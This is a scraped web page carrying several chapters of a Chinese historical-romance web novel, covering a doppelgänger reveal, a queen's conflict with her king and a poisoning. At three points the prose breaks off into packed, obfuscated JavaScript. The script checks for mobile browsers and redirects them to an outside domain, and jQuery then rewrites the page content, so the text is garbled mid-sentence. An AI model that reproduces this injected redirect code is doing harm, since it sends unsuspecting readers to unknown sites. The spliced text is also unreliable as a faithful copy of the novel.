叶儿似懂非懂点点头,瞥向她手中褡裢,目露欢喜:“额吉,这位姑姑送了好多琳琅果来。” “对,以后就叫她姑姑”,桑珠笑容可掬地点头认可,走到院中石桌前,放下褡裢、摸出一枚红彤彤的琳琅果,“果然豪气,一采就是六枚,表哥的手足又能恢复得快些了。” 叶儿问:“额吉不是说表舅武艺很好么,他什么时候手脚能好,教叶儿武艺?叶儿要像今天那位姑姑一样厉害!” “你还是先自己练吧,少说还得五六年。”桑珠轻轻抚摸着琳琅果光滑的外壳,叹了口气。 “手足筋脉俱断、皮肉尽烂,又身中剧毒,原本是必死无疑的。还好遇到身怀金蝉的老先生,他又恰好收藏着三枚生死人、肉白骨的琳琅果。本来三枚果子用得很谨慎,说是还要等十几年,现在有那女人年年采果子,肯定能快些。” “现在表舅是醒一月睡一月,等拔毒更多,肯定醒的时间更久”,叶儿眼睛亮了,“也就有更多时间教叶儿读书习字了。” “额吉带着叶儿刚重逢表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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领头那人将碎银接过,掂了掂、咬了一口,脸上露出笑容:“梅家船行,童叟无欺,给这位夫人收拾一间上房。” 锦瑟小心翼翼试探:“这船开往何处?” “你不知道要去哪儿,就往船上窜?”领头人震惊了,盯住她半天才缓缓道,“南翊,维阳城。” . 晚膳时分,帆船上乱成一锅粥,白袍卫站在空空如也的卧房里,你看我、我看你,大眼瞪小眼。 与他们一路同行的夫人,就这样凭空消失在自己房间。 卫士甲走到窗前,用手指抹了一下边缘:“这种红泥,像是从木城山沾来的。” 卫士乙大惊:“夫人投江了?” 卫士丙大怒:“瞎说什么呢,你才投江!好好的夫人为何要投江?” 卫士丁神色凝重摇摇头:“更像是匆匆离开,只不过这四面都是江水,她从窗子跳出去能到哪儿?” 卫士戊一拍脑门,猛然跳起来:“黄昏那会儿,我在甲板上看晚霞,恍惚看到有一道白影子从水面飞过去,落在一艘反方向的楼船上。当时还以为是白鹭,现在想起来,哪有那么大的白鹭?” 卫士乙将信将疑:“长流川行船,至少隔着十丈远,谁能登萍渡水那么远?” “有”,卫士丁沉吟道,“主子可以,秦统领可以,说不定夫人也可以。” . “夫人回来过,怎么可能?”奉宁洛川别苑灯火通明,秦川在大门口跳得老高,失声惊呼,“我走的那会儿,夫人说还要在木城山呆个把月,我都才刚回来,她怎么可能先到?” 姚晟讷讷道:“我在别苑当差十几年,看错谁也不可能看错夫人。而且那会儿,二娘子分明也认出来了,还叫了娘亲,夫人牵着二娘子出门时,还对我笑着点点头。” 他沉吟半晌,蹙眉摇摇头:“现在想来也有些不对劲……她这几年那股活泛劲没了,我只当夫人有心事,不便多问。” “难道……”秦川垂眸思索着,眼睛猛然睁大,“是她!” 160. 世上应无连理枝 楼船顺水速度极快,锦瑟在楼船上待了半个月,今天船上时不时传来童子的欢呼声——“阊江到了”、“过了阊江就是维阳”…… 上船住下之后,她从同船商贩那买来颜料,将自己的脸涂成另一副模样,每日提着一口气、放缓脚步,在船上四处溜达,却再没有听到苻忆的声音。 她也觉得自己有些好笑,堂堂建业侯之女、宗室贵胄,哪个不要命的敢去洛川别苑拐人。 直到第九天,楼船经过樊州江阳渡,苻忆的声音清清楚楚在甲板上响起:“娘亲,这个渡口好多船。” 锦瑟循声追出去,穿过走廊、踏上通往甲板的楼梯,走到一半视线已能看到甲板,待看清甲板上的场景时,她全身血液都凉了。 晨露微凉,初升的朝阳照着那小小的身影,赫然是苻忆。她正牵住一名年轻女子的手,欢呼雀跃叫着“娘亲”。 那女子身形颀长袅娜,头戴一顶白纱帷帽,背对她站着。 “这是南翊最大的渡口”,那女子屈身下蹲、平视着苻忆,柔声道,“能停泊的船是珪山大渡口的三倍。” 苻忆小手穿过帷帽的白纱,摸了摸那女子的脸:“娘亲的脑袋好了么?” 那女子愣了一瞬,旋即笑起来:“好了,阿忆是喜欢娘亲脑袋好的时候,还是没好的时候?” 苻忆转了转眼珠,认真地说:“娘亲不管脑袋好没好,都对阿忆和哥哥很好,只不过没好的娘亲每天都很开心,经常跟哥哥和阿忆玩,现在的娘亲看着不大开心。” 那女子说:“因为爹爹还受着伤,等爹爹伤好了,娘亲就开心了。” 江阳渡已遥不可见,那女子摸了摸苻忆的头发:“热起来了,咱们回屋去吧。”说话间,理了理藕荷色襦裙,慢条斯理转身向船舱走来。 锦瑟心跳一突,升起莫名恐惧,陡然后退几步、退下楼梯站在一旁阴影中。 那女子拉着苻忆,目不斜视从楼梯走下,走过锦瑟身边时恰好拂过一阵微风,略略掀动帷帽的头纱,即将看清那女子相貌的刹那,锦瑟没来由地惊惶紧闭双眼。 随风而来的,还有那女子身上熟悉的草木清香——素馨。 楼船停泊西津渡,那女子拉着苻忆、提着包袱下了船,安步当车穿过街道巷陌。锦瑟不远不近跟在她们身后,明明只隔着三五丈距离,却没有勇气加快步伐、叫住苻忆或那女子。 跟了约莫一个时辰,眼见她们走进一条清幽干净的小巷,锦瑟站在巷口抬头一瞥——青莲巷。 那女子停在一座宅邸门口,那是一座小巧的二进院落,在维阳这种寸土寸金的地方,已算是豪奢。 苻忆欣喜地一溜烟冲进去,跑得无影无踪。一名婆子迎上来招呼:“韦娘子回来了?是否安排那几家布庄掌柜过来报账?” 那女子柔声道:“坐船有些乏,歇两天再让他们过来。” 又说:“阿忆许久不来,嬷嬷先着人去给她采买些成衣,再把我旁边那间卧房收拾出来。” 目送着嬷嬷领命远去,她款款走出宅邸正门,面向锦瑟:“夫人跟了一路,何不与我找个地方,好生一叙?” 沧浪墅,“看月宫”包间,一壶香茗、两盏淡酒,两人相对而坐。 那女子抬手,一点一点揭开白纱帷幕,锦瑟屏息凝神、恐惧的闭上双眼。那女子轻笑一声,继续往上,直至将整顶帷帽完全掀落。 锦瑟试探着将眼皮张开一线,然后慢慢睁大,直到对面那张脸清晰地显示在眼前:黛眉远山长,杏眼秋水澈,精致的小翘鼻,薄唇。 与她一模一样的面容。 “你是谁?” “我在官面上叫韦秋屏,有人叫我花子、有人叫我豆蔻,不过我用得最久的名字,是锦瑟。” “你是锦瑟,那我是谁?” “你是南翊众口称颂的英雄,已故翊庄王之妻、延光陛下生母,你是——褚舜英!” “褚舜英”三个字在耳边响起,霎时如利刃刺穿脑颅,她痛到呼吸困难、双目发胀发涩,眼前一阵黑一阵白,心脏突突直跳,全身血液凉得像冰。 终于,在眼前晃出的无数重影中,她四肢僵麻、失去知觉。 韦秋屏注视着眼前晕倒的女子,慢慢伸出手,轻柔摩挲着那张与自己近乎一模一样的脸,痴痴笑了,星星点点泪花聚成泪滴,潸然而下。 “我是该嫉妒你,还是该感激你?” “若没有你,我还在倚翠楼倚门卖笑,可我也不愿感激你……早不来、晚不来,偏偏在我与他大婚的前两天。” . 建宁七年的春天格外冷,直到上巳节前后,被积雪封锁的平虞道才部分解冻,此时的韦秋屏、那时的锦瑟,站在洛川别苑门口与苻忆告别。 早春尚寒,苻忆冻得发抖,锦瑟将厚厚的裘氅裹在她身上。 苻忆眼巴巴地撒娇:“娘亲看完了爹爹,一定要早点回来。” 锦瑟怔怔看了苻忆半晌,含泪笑了:“阿忆,如果有天娘亲不在了,你就跟着生母花姨娘,她会和爹爹一起疼阿忆。” 苻忆吸了吸鼻子,哽咽着问:“我只要娘亲,娘亲为什么要走,是阿忆不乖么?” “不是阿忆不好”,锦瑟摇了摇头,轻声道,“只是娘亲不想跟爹爹过下去了。” 建宁五年的摽梅宴和除夕夜,她曾奢求过“愿得一心人,白头不相离”,却先学会了“闻君有两意,故来相决绝”。 建宁六年除夕夜,洛川别苑灯火通明。两位姨娘跟一群丫头在后院吃锅子、打马吊,欢呼声和笑声不绝于耳,苻阐带着苻忆在屋外剪梅花,院墙外四处是鞭炮声、稚子雀跃声、烟花声,各有各的热闹、各有各的喜庆。 她孤身坐在主屋,从天黑坐到天亮,心一分分冷了下去、直至万念俱灰。 有些羡慕那两位姨娘,能这样没心没肺地安享富贵,只要衣食住行样样丰裕就满足了。 苻洵年少俊美、富贵俱全,又待她体贴周全,唯一的不足是不爱她,爱的只是她那张相似的脸。就连这点不足,也是直言相告,坦荡得令她心寒。 外人眼里如胶似漆的七年,不过是他锦衣玉食地照拂、她不近不远地相伴,不亲近、也不耽误的七年。 他那样狠心,主屋里一张床、一张榻,夜夜分席而眠,不给她留一丝念想。 可她还是越陷越深,嫉妒和不甘日日夜夜啃噬着她的心智,让她想到那不知姓名的女子,就满腹怨毒。一天天地,变得面目全非、变成自己曾经最厌恶的模样。 最终,她决定放过自己、及时抽身,与他一别两宽、重新开始。 赶到威远将军府,见到留守的郎琊,才知道苻洵为了那女人,早已写信辞官,隐姓埋名随她去了不知何处。 她等了一个月,音讯全无,终于忍无可忍,以性命威胁郎琊带她去见他。 居然在翊国的武原城。 在武原安置好她之后,郎琊他们依然没日没夜忙忙碌碌,苻洵依然踪迹全无。 就好像,她的性命都不值他回首一瞥。 四月初十下午,不懂军务的她也察觉到一丝异样,隐隐听到郎琊吩咐几名护卫:“主子说褚娘子的气血将竭,过两天是拔毒的最好时机,密室和焉酸草都已备妥。今晚咱们抓紧行动,趁褚娘子昏迷尽快带她渡河。” 又说:“此事绝密,我们这几人知晓就行,对秦川都一个字别提。” 四月初十夜,月黑风高,郎琊带一队亲随沿林间小径攀上地皇山,她屏息敛声、远远跟随在后。不知为何,素来警醒的郎琊竟未发觉有人尾随。 一直走到半夜,路终于到了尽头——高达万仞的悬崖峭壁之巅。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795765|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她终于见到苻洵,也终于彻底死心。 琉璃灯朗照如昼,帐篷内壁溅满鲜血,地上积血犹自温热。苻洵奄奄一息躺在崖边,全身血淋淋的,身上几个贯穿伤在汩汩冒血,他怀里紧紧抱着同样血淋淋、已昏死过去的舜英。 锐利灼热的金光在他心口浮动、暴涨,每暴涨一次都牵动他痛苦抽搐,他却没有放弃,用气若游丝的声音念念有词,驱动金光扩张、直至同时罩住他们二人。 他的双唇没半分血色,仍用尽力气噏动嘴唇,喃喃呓语着哀求。 “不要死……不要抛下我一个人……求你……” 泪水滑过他染血的面庞,一颗颗滴落到舜英毫无知觉的脸上。 伴随他念念有词,他们身上的血涌出得慢了,像是被一股力量强力捏合住伤口。他痛得面目扭曲、抽搐不止,紧紧按住心口,却没有停。 一道道黑气不绝如缕,从舜英心口被抽出,一部分四散逸向高远的夜风,更多则不断聚向苻洵的心口,渗透肌肤挤了进去,没入他心脏的位置。 从舜英心口抽出的黑气越来越淡,苻洵终于支撑不住,倾身呕出一口黑血。 远处火把攒动,连缀成一条火龙,像是有上百人正赶往崖顶。 郎琊赶紧劝阻:“主子,今天先到这儿,武原城的守军来了。” 苻洵已经没有说话的力气,微微颔首应允之后,抱紧舜英昏迷过去。 白袍卫用尽全力,也没能分开他箍紧舜英的双臂、以及紧紧攥住她手腕的手,只好将他们一起抬上担架,又用布带捆扎紧固,抬着他们向着山下飞奔而去。 那个夜晚,紧张混乱得像一场噩梦。 到处是埋伏的武卒和弓箭手,冷不防就是几支暗箭射来。她麻木地跟在他们身后狂奔,丢了魂似的,不知疲累、不知痛楚。 忽听耳后风声有异,她几乎是下意识地,飞奔过去挡在担架前面。 那几支箭分别钉入她的肩膀、腿、后背,她从未受过此等苦楚,痛得晕厥过去。 视野变黑的刹那,八年来的一幕幕忽然像走马灯在她眼前飞速掠过,他的温存体贴、他的磊落、他的凉薄、他的深情、他的偏执……她心头突然轻松了,涌出一丝感觉:终于有资格说出“爱”字。 她终于有资格拿起,然后轻轻放下。 她在威远将军府醒来,那几支箭并没伤到要害,将军府的大夫和外伤药都很好,她养了一个多月,伤口已愈合大半。 苻洵仍在昏迷,那七刀贯穿了他的身躯,虽有金蝉护住心脉、伤药也流水般送进敦睦堂,他的情况却时好时坏。北卢郡喊杀震天、兵连祸结,是翊国上阳骑兵攻来了。 她那时才知道,苻洵求而不得的人,是翊庄王的王后,也知道了“洛川别苑”名称的由来。 六月中旬,苻洵才堪堪醒来,大部分时间都卧床不起,除了安排北三郡防守,便是强撑重伤之体、去那间密室为舜英疗伤。 苻洵体质异禀,到了六月底,靠药汤支撑已能勉强骑马。那晚,苻洵告诉她,自己要领兵出征了,问她有什么打算。 她决意离开他,回到故乡滬南重新开始。 于是苻洵赠给她一盒地契,有青莲巷那座二进小宅,还有几家布庄,足够她下半生衣食无忧。又给她一份照身帖,从此她有了官面上的良民身份——商户女韦秋屏。 他又安排卫兵护送她,保证她平安穿过狼烟遍地的国土、到达维阳。 他总是这样,温柔而决绝,让她连恨,都无处去恨。 出发时,她像告别亲人或挚友那样拥抱了他,很难过、却没有不甘和怨恨。 年初,建业侯刺杀冯栩的消息传到维阳,她犹豫很久,还是决定去奉宁探望他,像牵挂远方好友那般。 无论结局如何,她庆幸自己曾遇到过他。 161. 阶下徒生断肠草 卧房、花厅、前堂、走廊、楼梯、走廊、楼梯…… 舜英在一座没有尽头的迷宫里,飞奔了不知多久。 迷宫尽头是一座高楼的中庭,匾额上写着“沧浪墅”,她亲密地挽着女伴,说说笑笑推门而出。一扭头,胳膊挽着的女伴变成面目陌生的男子,她惊呼一声松开他,冲向街头。 歌舞喧嚣的酒楼、熙熙攘攘的街面、幽深的巷道、昏黄的灯光,转弯,奔跑,转弯,再奔跑…… 巷道深处有一座首饰铺,成串灯笼挂在上方,照得灯下的白衣少年纤尘不染,手拿一支极漂亮的彩玉簪:碧色簪体雕成茎杆绿叶,尾端雕成玲珑的芙蕖,不多不少、正好七朵。 她十分欢喜伸出手去接:“阿洵,这是你送我的吗?” 他站在马车前,笑着向她躬身长揖:“洛京一别,在此又遇少卿,幸甚。” 洛京?少卿? 他抬头时,变成另一副面容:长眉凤眼、高鼻薄唇,沉静而端肃。舜英下意识低头看向他手中,那支彩玉簪的粉色花朵变作紫色,芙蕖变成了木槿。 他举起手中簪子,递向她,他的面容不断变化,一忽儿是含笑凝睇的苻洵、一忽儿是端肃沉静的另一张脸,他手里的簪子也不断变化,一忽儿是浅粉的芙蕖、一忽儿是紫色的木槿。 变化越来越快,人脸越来越模糊,手中的簪子似乎承受不住这迅疾的转化,绽出第一条细缝,细缝飞快蔓延、蛛网般遍布整支簪子。 她惊恐地捂住嘴,旋即趁簪子还是芙蕖时,飞快夺过来别在头上,冲进首饰铺揽镜自照:“这簪子好美。” 满面笑容看向镜子,却惶然发现,镜中的她没有面孔。 “我是谁?” 发髻上的芙蕖簪裂纹仍在扩散,她眼睁睁看着,碧绿的茎叶、浅粉的花瓣、鹅黄的花蕊,四分五裂碎成齑粉。 她失声痛哭:“阿洵,对不起!” 对面的人脸定格,长眉、丹凤眼、高鼻、薄唇,将那支木槿簪别在她发髻上。她不由自主地伸出手去,任由那人牵着走向前方。 三重宫门如九重天阙次第展开,她右手压住左手、平举到胸前,走过黑压压的观礼人群,一步又一步走向丹陛顶端的尽头。 琼楼玉宇,高处不胜寒。 她在一座似曾相识的寝殿中,脱下精美繁复的王后常服、换穿素袍,卸下玲珑精巧的钗环,推开那扇沉重的殿门,回首一瞥,殿门匾额上书“景和宫”。 古老厚重的宫门,曲折悠长的宫道,层层叠叠的宫殿銮宇,遮天蔽日的宫墙……奔跑、飞速奔跑,熟悉的地方像是一座更庞大复杂的迷宫。 她跑了不知多久,身心俱疲。 再长的迷宫也终于跑到尽头,站在巍峨玉阶之下、抬头向上仰望,正上方的殿门挂着匾额——勤政殿。 六月的骄阳蒸得地面的气流有些扭曲,她站在玉阶下振衣撩袍、双膝下跪,行稽首大礼后,挺直脊背扬声高呼。 “臣妾褚舜英,代褚氏族中子弟自请不睦、不义、侵地等多项重罪,请陛下罢黜褚钧维御史台廷尉监之职、褚钧越御史中丞之职、褚钧奕司农少卿之职,并收回对褚钧良、褚钧安二人左右平西骠骑将军的任命!” 勤政殿内鸦雀无声。 她深吸一口气,跨步走上三级台阶,继续稽首高呼:“臣妾褚舜英,代褚氏族中子弟自请不睦、不义、侵地等多项重罪,深负陛下爱重,请陛下收回对褚氏一族的恩典,当黜则黜、当罚则罚!” 殿门口侍立的宦官纹丝不动,像两尊雕塑。 泪水在眼眶打转,小腹隐隐作痛,但她已顾不上许多,姨母的哭求在耳畔回响。她继续往上走了三个台阶,再次撩袍下跪。 如此一步三叩头、三步九叩头,边走边稽首大拜,反复说着那两句话、扬声请罪。 “请陛下收回对褚氏一族的恩典,当黜则黜、当罚则罚!” “臣妾约束母族不力,请陛下重罚!” 不断跪下、叩头、扬声高呼、站起,走三步,再跪下、叩头、扬声高呼…… 恍惚还是六年前那个深秋,她咬紧牙关站直身体、强撑着搀扶他,三跪九叩走过从明德门到大庆殿的三重宫墙、走过大庆殿前茫茫空地。那时的他们,渺小得像两粒尘土,相濡以沫、相依为命。 那是王者之路的起始。 这是王者之路的尽头。 一切的起始,他说:“阿英,王者都是孤家寡人,除了你,我无人可信。” 起初,她本能地畏惧那高处不胜寒。后来,经历过滬南连环灾殃,她握住了他伸出的手。天真以为接下来的路,无非是自己戴上冰冷的枷锁,与他并肩被钉死在王座上,一起为大翊鞠躬尽瘁、殚精竭虑。 却原来,还需要搭进自己身后的褚氏全族,一起变成孤立无援的孤家寡人。 褚氏一族深受永平王爱重,族中子弟稍有才学就身居要职,却只能作纯臣,成为推行恩科与军改的中流砥柱。 姊妹弟兄皆列土,可怜光彩生门户。与这份光彩相对应,大小门阀世家同仇敌忾,弹劾褚氏子弟的奏折犹如雪片,众口铄金积毁销骨。 如鲜花之着锦,如烈火之烹油,如烈风之风口,如骇浪之浪尖。 而褚氏全族,入仕从政不过二十多年,没有根基也没有经验、应对如此滔天恩宠和塌天大祸。 灼烈的日光射进眼眸,照得她头晕目眩,一路走一路跪、双膝僵麻酸疼,她咬咬牙,正要直起身再拜,身子突然一轻、她已被打横抱起。 他在她耳边低叱:“非要闹得我下不来台么?” 勤政殿空寂无声,宫人内卫全都退下,元旻把她平放在软榻上,看她的眼神满是痛心和不解。 “他们几个做的那些事,桩桩件件全是我授意,你要我怎么处罚?” “景和宫不答应你,就跑来勤政殿闹,勤政殿不答应你、是不是还要去大庆殿闹?” 她一骨碌从软榻翻身下地,屈膝跪拜,两眼含泪抬头看着他:“褚氏子弟年纪尚轻、才疏学浅,不堪如此重用,还请陛下另择贤才委以重任。” 他眼圈红了:“阿英,新政这样的大事,除了你……还有母后的家族,我谁都信不过。” 一丝绝望在心底蔓延,她咬紧下唇,流下两行泪水。 “昇阳冯氏久浸内政,当得起陛下信重,上垣褚氏担不起,臣妾与司南侯都只愿褚氏永镇龙城,为陛下守一方安宁。” 想了想,她又说出褚氏子弟所担当的那些职位,从恩科出身的寒门学子里推荐了数人,一直说到平西骠骑将军之职。 这是永平六年,专为打压消耗荣国骑兵、新设的临时官衔,主要职责便是协调统率上阳、临梁、朔宁三营之兵,征伐消耗荣国北卢、郅阳、英平三郡组成的龙骧军。 她的堂弟们将来对阵的将领,可能是沈绍宗、薛怀嘉、高轩,更可能是——苻洵。 护国之战,不死不休。 她没问元旻为何主动发起战争,他一向独断,她的劝谏除了徒惹猜忌、起不了任何作用。何况,他的志向是成为第二个翊桓王,所奉行之道莫如“卧榻之侧岂容他人酣睡”。 四夷臣服是他的道,以战止战是她的道,他们曾是同道中人。虽然过程残酷血腥,曾令她夜夜不得安寝,但随着滬南和北宛的战火逐渐熄灭,她内心也逐渐得到宁静。 直到“平西计划”的制定,这场不义之战尚未波及邻邦、先殃及褚氏…… “能征善战的将领那么多,姜榷、武焕、武煊、宣正浩,为何偏偏是钧良和钧安?一将无能累死三军,他们才十五六岁,战场都没上过几次,担不起主帅之职。” 元旻避重就轻地说:“作战的还是还是那些老将,他们跟着去沾沾光、多得些军功,有何不可?” 苻洵用兵如神,战场刀剑无眼,他说他们跟着去沾光? 她怔怔看着面前强势多疑的君王,好像突然之间不认识他了。 那些若有还无的旧事,对她是早已翻过的一页,对他却是深深扎在心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14801882|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的一根刺,永远揭不过去。 旋即,她又反应过来,其实他一向如此。怀揣巨大不安,敏感多疑,逼得自己也逼得身边人如履薄冰、滴水不漏。只是如今,随着权力一步步收拢,他的猜忌和不甘、逐渐挤破那层端雅君子的壳,肆意疯长。 既然如此,当初何必执意要娶她为妻? 他弯腰,想重新抱起她、放回榻上躺好。 她伸手轻轻推开他,紧紧攥住床榻边缘,垂眸思索良久,含泪抬头,一字一字奏请:“请陛下任命臣妾为平西骠骑将军,坐镇中帐,调度西三营远征荣国!” “你疯了!”元旻勃然色变,冷冷逼视着她,“你身怀六甲,上战场除了徒劳送死,对战事有何裨益?” “自然是有裨益”,她笑得肩膀颤抖,泪如雨下,“让钧良和钧安当主帅有什么好处,让臣妾当主帅就有什么好处。至少可陈情褚氏之忠诚,绝无勾连他国重臣、背主叛国之嫌。” 紧接着,她挺直脊背和胸膛,双手平举,声音恭敬而坚决:“若如此还不足以陈情,请陛下即刻下诏废后或赐死,以臣之残躯、为平西之役铺平道路!” 他震惊地倒退几步,好像突然之间也不认识她了。 忽然笑起来,眼里全是泪:“废后?你盼望这天很久了吧?被废之后你想去哪儿,灵昌还是北卢?” 他又来了。 她不想再说一个字,无穷无尽的疲惫像潮水裹挟而来。 “现在就告诉你,只要我还有一口气,废后之事想都别想,我要你睁大眼睛看清楚,我是如何将他碎尸万段!”他攥住她胳膊往上拉拽,“起来躺好,别又想寻死觅活,别忘记你还怀着王嗣,若有个三长两短视为谋害王室子弟,按律夷三族!” 话一出口,他也愣住了、怒容乍收,惊惶地松开手,呆呆注视她。又试着伸手去触她后背,语无伦次地辩解:“阿英,我不是这意思。” “臣妾知道。”她轻声说,却恐惧地躲了躲。 他伸出的手顿在半空,良久,踉踉跄跄走出殿门,临走前最后一句话,轻得像幻觉。 “说来说去,还不是为了苻洵。” 是啊,非要派钧良钧安为主帅的真正原因,他心知肚明。 至高至明日月,至亲至疏夫妻。 她脑子里闪过一张张脸:姨母、堂弟堂妹们、承祎兄妹……无辜、无害,一双双眼睛盯着她,全是依赖和信任。 那依赖和信任慢慢压在肩膀上,越来越重、越来越重,她直不起腰喘不过气,想在这幽暗寝殿跪到天荒地老、不必再看见明天的太阳。 抚了抚小腹,她好想让时光倒流、小腹平下去,跪到他们之间所有羁绊从未存在过、或是全部被斩断。 再也回不去了。 她漫无边际地东想西想,生生死死念头在脑子里滚过成百上千轮。后来,她手足酸麻、眼前飞舞着无数金色小星,眼前一黑晕过去。 她在景和宫的床上醒来,如愿得到五张罢黜中枢要职的圣旨,包括褚钧良和褚钧安。 “这些圣旨,一道一道慢慢往御史台传,一次动作太大容易引起动荡”,他坐在床边,从春羽手里接过药汤,一口一口喂她喝下,眼神温柔而落寞,“平西的主帅等我巡军回来再说,你好生歇息,不要东想西想。” 舜英闭上眼睛,流下两行泪:“从小到大,我说过无数谎、骗过无数人,可我从来没骗过你,从来没有!” 他弯了弯唇角,意味深长注视着她:“是吗?” 她别过脸去、潸然泪下,不想再说半个字,害怕又招惹他封了景和宫。 昇阳王宫是一座美轮美奂的囚牢,景和宫是这囚牢里最富丽堂皇的一间笼子。 她知道这太平盛世垫着亲人朋友、无数将士的骸骨,她也知道他是个好国君、他们可以一起让故国变得更好……可那些成为王后、守护故国的初心已然摇摇欲坠。 她后悔当初在滬南选择活下去、嫁给他。 她更后悔自己曾爱过他。 162. 世间安得双全法 舜英喝的汤里有安神药,一直睡到第二天清晨大朝会的景阳钟响起。 仍是十分疲惫,闭目养神不知过了多久,听见脚步声渐行渐近,停在床边。是元旻散朝归来,坐在床边静静注视着沉睡的她。 轻轻拨开她散乱的额发,他声音哽咽:“那个浪荡子有什么好?让你整整五年还念念不忘?” 她心说,苻洵不是浪荡子,我虽曾将他放进心里,却并未在婚后念念不忘。真正对苻洵念念不忘的人,其实是你。 他又说:“我虽曾略施小计,想让你与他永不相见,可在他成为荣国名将之前,我从没想过要伤他性命,从来没有!” 她又心说,我从未怪过你封宫,也感激你曾想过招揽他,虽然没有成功。 他的嗓音带了激愤:“而苻洵,我还未与他为敌时,他每次出手都想要我性命。阿英,我也是人,难道不可以有怨气么?难道不能憎恶他、报复他么?” 她猛然一惊,下意识想问个清楚,眼皮却沉得睁不开。 恍惚间,一星温热的柔软落在额头,转瞬即逝,他的足音渐行渐远。 “阿英,我走了。” 这是他留给她的最后一句话。 此后的很久,舜英曾无数次回想起他启程的那个清晨。 如果她知道那是他们最后一面,无论他们之前怎么互相伤害,她也一定会把藏在心里的话都说出来,与他说开说透彻,再好好告个别。 至少,他不必心怀这份不甘,孤零零奔赴黄泉。 所有人都只以为是元昙和冯栩谋弑了他,只有她在听开阳转述谋弑细节时,心底油然生出疑惑。 她知道元旻的剑术有多高、也知道隐蝠卫战力有多强,怎就那么轻易被人废去手足,甚至没能等到天枢和开阳救援? 九月十五,玉衡回昇阳、入宫拜会她,见国君已崩逝、再无顾忌,屏退左右给她讲了那个秘密任务。那个她从未听任何人提及的、关于蛮族剧毒“独活”,以及寻找金蝉和蚩越的故事。 蚩越、金蝉、剧毒“独活”,她陡然想到蒙舍国、想到千垌万寨,想到元旻临走前说过苻洵要他的命。 那熟悉的声音,在十八寨凤鸣山顶响起,穿越六年时空、再次在她耳边回荡,恍如隔世。 “独活者,味觉、嗅觉、视觉、听觉、触觉渐失……如被关在一个无限大的虚空寂无之中。” 旋即,她悲哀地发现,自己的味觉、嗅觉已经丧失许久,就连视线也开始偶然模糊——起先她只当身体虚弱。 她也中了“独活”。 她不明白,为何苻洵要在两国尚未交恶之时,对元旻施下药石罔医的慢性剧毒。 失眠了几个夜晚,将与苻洵相处的点点滴滴,在记忆深处拼命搜寻出来。天刚蒙蒙亮、昏昏欲睡之时,两个声音猝不及防在耳边响起。 她说:“四殿下的志向,不止是继承昭王意志,更以翊桓王为毕生追求……” 苻洵说:“翊桓王?就是那位将乌兰、玄阴山以南,西羌高原以东所有土地,除十万大山以外,尽数收入瓠中的大一统圣主?” 她一个激灵醒了,眼前晃来晃去,是瑰丽的晚霞、甜丝丝的红枣桂花茶、满园随风拂动的玉簪花。 十八岁的苻洵,站在笔直的许愿雪松下,对她说:“届时明争暗斗、刀剑无眼,姐姐既是四殿下内卫,若他有个闪失,按律是要自杀殉主的。” 她说:“我虽率领内卫,身份仍是东宫伴读,按律不必殉主。” 然后,她看到他唇角勾起一抹轻松的笑意。 原来,一切的罪魁祸首,竟是她自己。 是她在闲聊时不慎暴露元旻的志向心性,勾起苻洵的忌惮和杀机。苻洵向来行事干脆,为了兄长和故国,选择了先下手为强。 元旻的遗言刺着她、陈年往事刺着她,悔恨和愧疚化作蚀骨的毒,昼夜不歇地流转在她血脉中,扎根在她的肺腑里。 而那些由元旻和她不惜弄脏双手、以战止战缔造的和平,也随着他的崩逝、被无情毁灭。满腔心血、艰难辗转多少年,是非成败转头空。 无穷无尽的倦意淹没了她。 还好,她也中毒了,她平等地承受了恶果。 每当夜深人静,她想象着毒素正侵蚀着自己五脏六腑,莫名心安许多,涌起解脱的欣喜。 她拼命咽下每一口饭食,尽管它们味同嚼蜡;她尽力喝下每一滴补药,尽管它们寡淡无味。她要尽快摆脱孱弱、恢复体能,然后冲出重重宫墙,将生命这最后几个月、连同这副苟延残喘的身躯,燃成一把复仇的火。 快了,就快了。 在夫君和道义之间,她选择道义;在道义和立场之间,她选择立场。 虽然成婚之时,她满脑子只剩家国大义和妥协,不再是当初那个满心满眼只有四殿下的阿七,再给不了他期待的那些男女之情,但他对于她仍然十分重要。 于公,是君父、是立场、是家国;于私,勉强算挚友和亲人。他活着时,代表她拼尽全力守护的一切,他若崩逝,她也该豁出性命替他复仇。 那天,舜英在景和宫闭目假寐,春羽正吩咐宫人撤去旧物、换上喜兴的挂件。冬雪来了,她们声音很低,但舜英一向耳力很好,清清楚楚听见冬雪让春羽保留遗物、殿内陈设如初。 她嗅觉已失灵,但那些天都能在殿中嗅到若有还无的沉水香。 她顷刻懂了冯姮的意思。 那几个夜晚,比元旻崩逝的噩耗传来时更难熬。头顶的天空、脚下的大地都转瞬变得脆弱而虚幻,像是凝在雾气中的海市蜃楼,风一吹就碎成一片片、一粒粒尘埃,露出完美画皮下狞恶的真相。 她无数次摸黑起床,打开多宝阁、将二十多年来的旧物一件件翻出来,一遍又一遍摩挲,或是悄无声息走到已荒芜的兴庆宫,一遍遍抚过冯姮亲自带人替她摆设的床、书桌、衣柜。 